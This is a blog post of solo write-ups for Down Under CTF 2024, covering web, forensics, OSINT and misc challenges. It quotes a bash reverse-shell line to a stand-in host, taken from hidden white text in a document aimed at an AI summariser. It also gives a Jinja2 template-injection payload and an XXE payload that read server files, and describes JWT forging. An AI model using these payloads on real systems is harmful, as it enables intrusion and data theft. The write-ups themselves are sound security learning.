DUCTF 2024 - Solo Write Ups
![DUCTF 2024 - Solo Write Ups](/content/images/size/w2000/2024/07/ductf-heading.png)
Dumping the challenges I was able to complete for Down Under CTF 2024!
This year I mostly focused on the easier challenges, though even some of the easy ones were quite challenging!
tldr please summarise [beginner]
For this, a single .docx
file was provided, lets check it out in WordPad!
There was some really small white text found about halfway down the document:
![](https://blog.tgxn.net/content/images/2024/07/image.png)
The text in question contains a pastebin link that contains some base64-encoded text that contains the flag (along with some other stuff):
bash -i >& /dev/tcp/261.263.263.267/DUCTF{chatgpt_I_n33d_2_3scap3} 0>&1
parrot the emu [beginner]
For this, the application source was provided.
Simple Template Injection attack, well understood: https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/
Initially proving that the application was vulnerable to this kind of attack:
![](https://blog.tgxn.net/content/images/2024/07/image-1.png)
Beautiful! Now for the real deal: {{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0].__subclasses__()[0]('flag').read()}}
![](https://blog.tgxn.net/content/images/2024/07/image-2.png)
DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}
zoo feedback form [beginner]
This one is a beginner task, they have provided the app source for this one.
Interesting, they are submitting XML to Flask
![](https://blog.tgxn.net/content/images/2024/07/image-4.png)
Odd, everything looks quite standard except for resolve_entities
being True
- I wonder if there is some kind of injection attack in lxml
?
https://codeql.github.com/codeql-query-help/python/py-xxe/
![](https://portswigger.net/content/images/logos/academy-twittercard.png)
which led me to this, which explains why this is a risk
From there, I find that it's possible to craft a payload to include arbitrary template strings, using Burp Suite to modify the XML payload to be:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feedback
[
<!ENTITY name SYSTEM "./flag.txt">
]
>
<root>
<feedback>
&name;
</feedback>
</root>
This has the effect of rendering the flag straight out in cleartext!
DUCTF{emU_say$_he!!0_h0!@_ci@0}
Baby's First Forensics [forensics]
For this, there is only a .pcap
provided, we are after the tool that's being used along with its' version.
Opening the .pcap
in WireShark, we see a lot of random-looking GET and HTTP requests!
Looking through them, it seems that the tool was kind enough to identify itself in its' requests:
![](https://blog.tgxn.net/content/images/2024/07/image-5.png)
Sure enough, the flag is DUCTF{Nikto_2.1.6}
offtheramp [osint]
Provided was a .jpg
file, we need to enter the name of the structure pictured.
![](https://blog.tgxn.net/content/images/2024/07/image-15.png)
Investigating the file provided with exiftools
, it appears that someone's left GPS co-ordinates in the file!
![](https://blog.tgxn.net/content/images/2024/07/image-6.png)
From here, just checking google maps for the pictured structure:
![](https://blog.tgxn.net/content/images/2024/07/image-7.png)
DUCTF{Olivers_Hill_Boat_Ramp}
back to the jungle [osint]
![](https://blog.tgxn.net/content/images/2024/07/image-8.png)
Looks like he has a SoundCloud: https://soundcloud.com/mc-fat-monke
Checking the latest track, there is a linked YouTube video: youtu.be/jmhn3IMLQyM
Checking the video out, there is a frame about half-way through with a URL that leads to the flag:
![](https://blog.tgxn.net/content/images/2024/07/image-9.png)
Visiting the link, we find the flag: DUCTF{wIr_G0iNg_b4K_t00_d3r_jUNgL3_mIt_d15_1!!111!}
emuc2 [forensics]
As all good nation states, we have our own malware and C2 for offensive operations. But someone has got the source code and is using it against us! Here's a capture of traffic we found on one of our laptops...
Provided is a .pcap and a sslkeylogfile...
Upon investigation, SSL packets can be decrypted within Wireshark with the key log file:
![](https://blog.tgxn.net/content/images/2024/07/image-18.png)
When you import it into Wireguard, you will be able to decrypt packets and see their content:
![](https://blog.tgxn.net/content/images/2024/07/image-20.png)
Now we move into a webapp investigation, given that this thing is calling things like:
/api/login
(we get credentials for an account "jooospeh" too)/api/env
(both GET and POST!)/api/flag
(seems interesting!)
Using the leaked credentials, we see that we're not authorized to view the flag:
![](https://blog.tgxn.net/content/images/2024/07/image-21.png)
/api/env
endpoint seems to return a list of random values, and we can add our own on with the POST method.
Since this is mean to be a CNC server, i tried browsing for specific files under this endpoint, to see if we can retrieve the contents of these files somehow.
Sure enough, the files can be accessed on /api/env/AbZ9FbNDzJ5ACbGKJ8ezjdod2Jr4x0iW
and one of them had a JWT_SECRET in it:
![](https://blog.tgxn.net/content/images/2024/07/image-22.png)
Using this, we are able to craft a JWT that will allow us to login as UID 0
and retrieve the flag:
![](https://blog.tgxn.net/content/images/2024/07/image-23.png)
{
"flag": "DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}"
}
DNAdecay [misc]
spent far too much time learning that TATAGCGC
just means _
![](https://blog.tgxn.net/content/images/2024/07/image-17.png)
https://gist.github.com/tgxn/b0c345dea5f3e5d3f2ca486b1d1c3d5c
🤣. DUCTF{7H3_Mit0cHOndRi4_15_7he_P0wEr_HoUsE_of_DA_C3LL}
Bridget Lives [osint]
Provided is a picture of a bridge, with instructions to find out where the picture was taken from.
![](https://blog.tgxn.net/content/images/2024/07/image-16.png)
Reverse image searching gives us this Instagram post:
https://www.instagram.com/thewarehousehotel/p/C6EI313MSnZ/
We find that it's Robertson Quay in Singapore!
That leads us to find that the building above this bridge is called Four Points!
![](https://blog.tgxn.net/content/images/2024/07/image-14.png)
DUCTF{Four_Points_by_Sheraton}
i am confusion [web]
We get application source for a nodejs
application, and its' package.json
file.
This one is running a super-old version of jsonwebtoken
, that can't be good!
It's vulnerable to an... algorithm confusion attack... how appropriate!
![](https://github.githubassets.com/assets/advisory-database-show-f32c8207dfb2.png)
luckily, someone's been here before!
Executing the steps against this vulnerable application results in a token that grants administrative access (and the flag)!
![](https://blog.tgxn.net/content/images/2024/07/image-10.png)
DUCTF{c0nfus!ng_0nE_bUG_@t_a_tIme}
Macro Magic [forensics]
For this, we are provided a .xlsx
and a .pcap
file, hopefully there's some funky macros in here!
![](https://blog.tgxn.net/content/images/2024/07/image-11.png)
Sure enough, there are some funky macros, re-obfuscating these somewhat results in us finding there's a function that performs an XOR (with the string Monkey Magic
) and then makes a HTTP requests with the resulting bytes.
Extracting the requests, we see 4 HTTP requests
![](https://blog.tgxn.net/content/images/2024/07/image-12.png)
Decoding them with a funky script I wrote:
function deterministicXORUnsub(arryOfCodez, secretKey) {
const result = [];
for (let i = 0; i < arryOfCodez.length; i++) {
result.push(String.fromCharCode(arryOfCodez[i] ^ secretKey.charCodeAt(i % secretKey.length)));
}
return result.join('');
}
console.log(deterministicXORUnsub("11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80-19-1-60-12-38-49-9-28-38-0-81-9-2-80-52-28-19".split("-"), "MonkeyMagic"))
We get the flag: Flag: DUCTF{M4d3_W1th_AI_by_M0nk3ys}
Overall, this was a great CTF event with some really challenging puzzles!
![](https://blog.tgxn.net/content/images/2024/07/tgxn-certificate.png)